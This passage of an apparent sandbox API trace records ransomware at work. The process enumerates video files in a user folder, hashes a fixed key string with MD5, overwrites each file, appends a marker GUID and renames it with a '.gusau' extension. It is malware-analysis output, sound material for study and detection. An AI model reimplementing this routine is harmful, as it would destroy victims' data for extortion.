0x3985ac8 [0118.452] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.452] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.452] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.452] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.452] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.452] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.452] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.452] GetLastError () returned 0x0 [0118.453] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.453] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10ea0) returned 0x39f9f20 [0118.453] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.453] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x10e9d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x10e9d, lpOverlapped=0x0) returned 1 [0118.453] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.453] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10ea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.453] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.454] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.454] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.454] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.454] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.454] CloseHandle (hObject=0x610) returned 1 [0118.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.455] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\BoizzI4g97t.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\boizzi4g97t.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\BoizzI4g97t.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\boizzi4g97t.flv.gusau")) returned 1 [0118.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.455] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.456] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472be7c0, ftCreationTime.dwHighDateTime=0x1d4cdc8, ftLastAccessTime.dwLowDateTime=0x630ed800, ftLastAccessTime.dwHighDateTime=0x1d4cf1f, ftLastWriteTime.dwLowDateTime=0x630ed800, ftLastWriteTime.dwHighDateTime=0x1d4cf1f, nFileSizeHigh=0x0, nFileSizeLow=0x11a7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fXPAxGgq.avi", cAlternateFileName="")) returned 1 [0118.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.456] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0118.456] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.457] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\fXPAxGgq.avi") returned=".avi" [0118.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\fXPAxGgq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\fxpaxggq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.457] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=72319) returned 1 [0118.457] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.459] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11a59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.459] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.460] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.461] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11a7f, lpOverlapped=0x0) returned 1 [0118.461] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.462] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.463] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.463] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.463] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.464] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.464] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.464] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.464] GetLastError () returned 0x0 [0118.464] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.464] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11a80) returned 0x39f9f20 [0118.464] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.464] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11a7a, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11a7a, lpOverlapped=0x0) returned 1 [0118.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.465] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11a7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.465] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.465] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.465] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.465] CloseHandle (hObject=0x610) returned 1 [0118.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.466] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\fXPAxGgq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\fxpaxggq.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\fXPAxGgq.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\fxpaxggq.avi.gusau")) returned 1 [0118.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.467] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.468] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.468] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c1dfe90, ftCreationTime.dwHighDateTime=0x1d4c5b7, ftLastAccessTime.dwLowDateTime=0xe2806fc0, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0xe2806fc0, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x4b46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Iq gbMO_n.flv", cAlternateFileName="IQGBMO~1.FLV")) returned 1 [0118.468] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.468] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0118.468] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\Iq gbMO_n.flv") returned=".flv" [0118.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\Iq gbMO_n.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\iq gbmo_n.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.468] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=19270) returned 1 [0118.468] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.470] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4b20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.470] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.472] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.472] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.472] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x4b46, lpOverlapped=0x0) returned 1 [0118.473] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.473] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.473] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.473] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.473] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.474] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.474] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.474] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.474] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.474] GetLastError () returned 0x0 [0118.474] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.474] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x4b50) returned 0x39f9f20 [0118.474] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.474] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x4b41, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x4b41, lpOverlapped=0x0) returned 1 [0118.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.474] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4b46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.475] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.475] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.475] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.475] CloseHandle (hObject=0x610) returned 1 [0118.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.476] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\Iq gbMO_n.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\iq gbmo_n.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\Iq gbMO_n.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\iq gbmo_n.flv.gusau")) returned 1 [0118.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.476] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.477] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5eb0890, ftCreationTime.dwHighDateTime=0x1d4cc07, ftLastAccessTime.dwLowDateTime=0x711145c0, ftLastAccessTime.dwHighDateTime=0x1d4cfb3, ftLastWriteTime.dwLowDateTime=0x711145c0, ftLastWriteTime.dwHighDateTime=0x1d4cfb3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="muLwtSyMNArdmekL", cAlternateFileName="MULWTS~1")) returned 1 [0118.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0118.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.478] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaf8a660, ftCreationTime.dwHighDateTime=0x1d4d1a1, ftLastAccessTime.dwLowDateTime=0x7f1948b0, ftLastAccessTime.dwHighDateTime=0x1d4c64a, ftLastWriteTime.dwLowDateTime=0x7f1948b0, ftLastWriteTime.dwHighDateTime=0x1d4c64a, nFileSizeHigh=0x0, nFileSizeLow=0x4c30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UtVdyOv5.swf", cAlternateFileName="")) returned 1 [0118.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0118.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.478] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\UtVdyOv5.swf") returned=".swf" [0118.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\UtVdyOv5.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\utvdyov5.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.478] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=19504) returned 1 [0118.478] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.480] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x4c0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.480] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.482] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.482] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x4c30, lpOverlapped=0x0) returned 1 [0118.482] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.482] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.482] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.482] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.483] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.483] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.483] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.483] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 